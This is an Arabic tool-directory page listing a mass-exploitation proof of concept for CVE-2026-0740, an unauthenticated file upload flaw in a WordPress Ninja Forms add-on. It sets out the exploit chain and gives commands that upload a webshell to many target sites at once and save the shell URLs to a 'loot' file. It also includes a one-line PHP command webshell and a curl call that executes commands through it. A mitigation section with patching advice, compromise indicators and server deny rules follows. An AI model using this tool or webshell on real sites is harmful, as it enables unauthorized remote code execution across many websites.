Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2026-0740-mass — PoC لـ CVE-2026-0740: Ninja Forms File Uploads <= 3.3.26 — رفع ملفات تعسفي غير مصادق عليه يمكن أن يؤدي إلى RCE. | Kitploit
أدوات/GitHubGitHub/exdev994/cve-2026-0740-mass
توليد الحمولةتحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويباختبار الاختراقالفريق الأحمر
GitHubexdev994/cve-2026-0740-mass

CVE-2026-0740-mass

PoC لـ CVE-2026-0740: Ninja Forms File Uploads <= 3.3.26 — رفع ملفات تعسفي غير مصادق عليه يمكن أن يؤدي إلى RCE.

عرض المستودع
11منذ شهر واحدلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2026-0740 — محرك الاستغلال متعدد الأهداف

المؤلف: 0xNuts
المساهم: Cursor
المستودع: https://github.com/ExDev994/CVE-2026-0740-mass

PoC لـ CVE-2026-0740: Ninja Forms File Uploads <= 3.3.26 — رفع ملفات تعسفي بدون مصادقة يمكن أن يؤدي إلى RCE.

تم اكتشاف الثغرة في البداية بواسطة Sélim Lanouar (@whattheslime). تم تطوير محرك الاستغلال متعدد الأهداف بواسطة 0xNuts بمساهمة من Cursor.


إخلاء مسؤولية

تم توفير هذا المستودع لأغراض البحث الأمني والدفاع فقط (اختبار اختراق مصرح به، فريق أحمر بتصريح كتابي، التحقق من التصحيحات، وتحصين الأنظمة).

  • لا تستخدمه ضد أنظمة دون تصريح صريح من المالك.
  • لا يتحمل المؤلف أي مسؤولية عن إساءة استخدام هذه المعلومات.

ملخص الثغرة

إضافة Ninja Forms - File Uploads لووردبريس عرضة لثغرة رفع ملفات تعسفي بدون مصادقة في جميع الإصدارات حتى 3.3.26 (شاملاً إياها).

سلسلة الاستغلال:

  1. يحصل المهاجم بدون مصادقة على nonce للرفع عبر إجراء AJAX nf_fu_get_new_nonce مع field_id عشوائي.
  2. يتحقق معالج nf_fu_upload من امتداد الملف المرفوع (مثل image.jpg)، لكن يمكن للمهاجم تجاوز اسم الملف الهدف عبر معامل POST (image_jpg).
  3. يُمرَّر اسم الملف الهدف إلى move_uploaded_file() دون تنقية كافية → امتداد تعسفي + اجتياز المسار (../).

يتوفر التصحيح الكامل في الإصدار 3.3.27+.


المتطلبات الأساسية

  • Python 3.10+
  • أن يكون لدى الهدف إضافة Ninja Forms وNinja Forms - File Uploads (<= 3.3.26) مثبتة ومفعّلة
  • لا حاجة لنموذج أو حقل رفع موجود مسبقاً

تثبيت الاعتماديات

يحتوي هذا المستودع فقط على CVE-2026-0740.py وREADME.md. قم بتثبيت الاعتماديات يدوياً:

root@kitploit:~
python3 -m venv .venv
source .venv/bin/activate          # Linux/macOS/WSL
# .venv\Scripts\activate           # Windows

pip install httpx==0.28.1 socksio==1.0.0

طريقة الاستخدام

مساعدة سطر الأوامر

root@kitploit:~
python3 CVE-2026-0740.py -h

خيارات الوسائط

ملاحظة: يجب استخدام واحد فقط بالضبط من -t أو -f.


وضع الهدف الواحد

root@kitploit:~
python3 CVE-2026-0740.py -t http://target.com --shell shell.php

مع اجتياز مسار صريح:

root@kitploit:~
python3 CVE-2026-0740.py -t http://target.com --shell shell.php -d ../../../shell.php

وضع الأهداف المتعددة

أنشئ ملف target.txt:

root@kitploit:~
http://site1.com
https://site2.com
10.0.0.5
# baris komentar diabaikan

قم بالتشغيل:

root@kitploit:~
python3 CVE-2026-0740.py -f target.txt --shell shell.php

مع ضبط عدد العمال وملف الغنائم:

root@kitploit:~
python3 CVE-2026-0740.py -f target.txt --shell shell.php -w 50 -o loot.txt

ستتم كتابة عناوين URL للـshell المرفوعة بنجاح في ملف الغنائم (وضع الإلحاق).


مثال على ويبشيل بسيط

root@kitploit:~
echo '<?php system($_GET["cmd"] ?? ""); ?>' > shell.php

بعد نجاح الرفع، يعرض السكريبت رابط الـshell. تحقق (فقط على بيئة اختبار/هدف مصرح به):

root@kitploit:~
curl "http://target.com/wp-content/shell.php?cmd=id"

اكتشاف إصدار الإضافة (اختياري)

root@kitploit:~
httpx -fr -u http://target.com -ms 'file_uploads_nfpluginsettings-js' -er 'nfpluginsettings\.js\?ver=[\d\.]+'

طرق الإصلاح (التخفيف)

1. تحديث الإضافة (الأولوية القصوى)

قم بتحديث Ninja Forms - File Uploads إلى الإصدار 3.3.27 أو أحدث فوراً.

  • لوحة تحكم ووردبريس ← الإضافات (Plugins) ← تحقق من إصدار Ninja Forms - File Uploads
  • إذا لم يتوفر التحديث التلقائي، قم بتنزيل الإصدار المُصحَّح من المورد الرسمي

2. التحقق من التصحيح

بعد التحديث:

  • تأكد من أن إصدار الإضافة >= 3.3.27
  • اختبر نقطة النهاية wp-admin/admin-ajax.php بالإجراء nf_fu_get_new_nonce / nf_fu_upload — يجب رفض الرفع التعسفي
  • أعد الفحص باستخدام الماسح (قالب Nuclei لـ CVE-2026-0740) للتأكيد

3. مؤشرات الاختراق (IoC)

افحص مجلدات الرفع في ووردبريس:

root@kitploit:~
wp-content/uploads/ninja-forms/tmp/
wp-content/uploads/ninja-forms/
wp-content/

ابحث عن ملفات غريبة: .php، .pht، .phtml، .phar، .html، .svg، .js التي لا ينبغي أن تكون موجودة.

افحص أيضاً سجلات خادم الويب بحثاً عن طلبات إلى:

root@kitploit:~
/wp-admin/admin-ajax.php

بالمعامل action=nf_fu_get_new_nonce أو action=nf_fu_upload.

4. تحصين إضافي

  • WAF / تحديد المعدل (rate limiting) على /wp-admin/admin-ajax.php لمنع إساءة استخدام الرفع الجماعي

  • تعطيل تنفيذ PHP في مجلد wp-content/uploads/ عبر إعدادات خادم الويب:

    Apache (.htaccess في uploads/):

    root@kitploit:~
    <FilesMatch "\.php$">
      Require all denied
    </FilesMatch>
    

    Nginx:

    root@kitploit:~
    location ~* /wp-content/uploads/.*\.php$ {
        deny all;
    }
    
  • الامتياز الأدنى (Least privilege): تأكد من أن صلاحيات ملفات الرفع غير قابلة للكتابة بواسطة خادم الويب خارج المجلدات المطلوبة

  • المراقبة: تنبيه عند POST إلى admin-ajax.php بإجراء nf_fu_* من عناوين IP غريبة أو بحجم طلبات كبير

  • النسخ الاحتياطي والاستجابة للحوادث: إذا تم العثور على IoC، اعزل الموقع، وبُدِّل بيانات اعتماد قاعدة البيانات/الإدارة، ودقق في بقية الإضافات/القوالب

5. إذا لم تكن الإضافة مستخدمة

قم بتعطيل وحذف إضافة Ninja Forms - File Uploads إذا لم تكن ميزة الرفع مطلوبة.


المراجع

  • CVE-2026-0740
  • Lexfo — Technical Deep Dive
  • Wordfence — 50,000 WordPress Sites Affected
  • GHSA-v8wq-rjpf-669f
  • Nuclei Template
تنزيل الأداة
المتجه / الامتداد<= 3.3.243.3.253.3.263.3.27
اجتياز المسار (../)PASS---
.phpPASS---
.phtml, .pharPASSPASS--
.phtPASSPASSPASS-
.html, .svg, .jsPASSPASSPASS-
الخيارالوظيفة
-t, --targetهدف واحد (رابط URL مفرد)
-f, --targets-fileملف .txt يحتوي قائمة الأهداف (رابط واحد لكل سطر)
--shellملف الحمولة/الويبشيل المراد رفعه (إلزامي)
-d, --destمسار الوجهة لاجتياز المسار (الافتراضي: ../../../)
-w, --workersعدد الخيوط المتزامنة (الافتراضي: 20)
-o, --outputملف الغنائم لعناوين الـshell الناجحة (الافتراضي: results.txt)
-x, --proxyبروكسي HTTP (مثل http://127.0.0.1:8080)
-H, --headersترويسات مخصصة (الصيغة: 'Header: Value')
--timeoutمهلة HTTP بالثواني (الافتراضي: 10)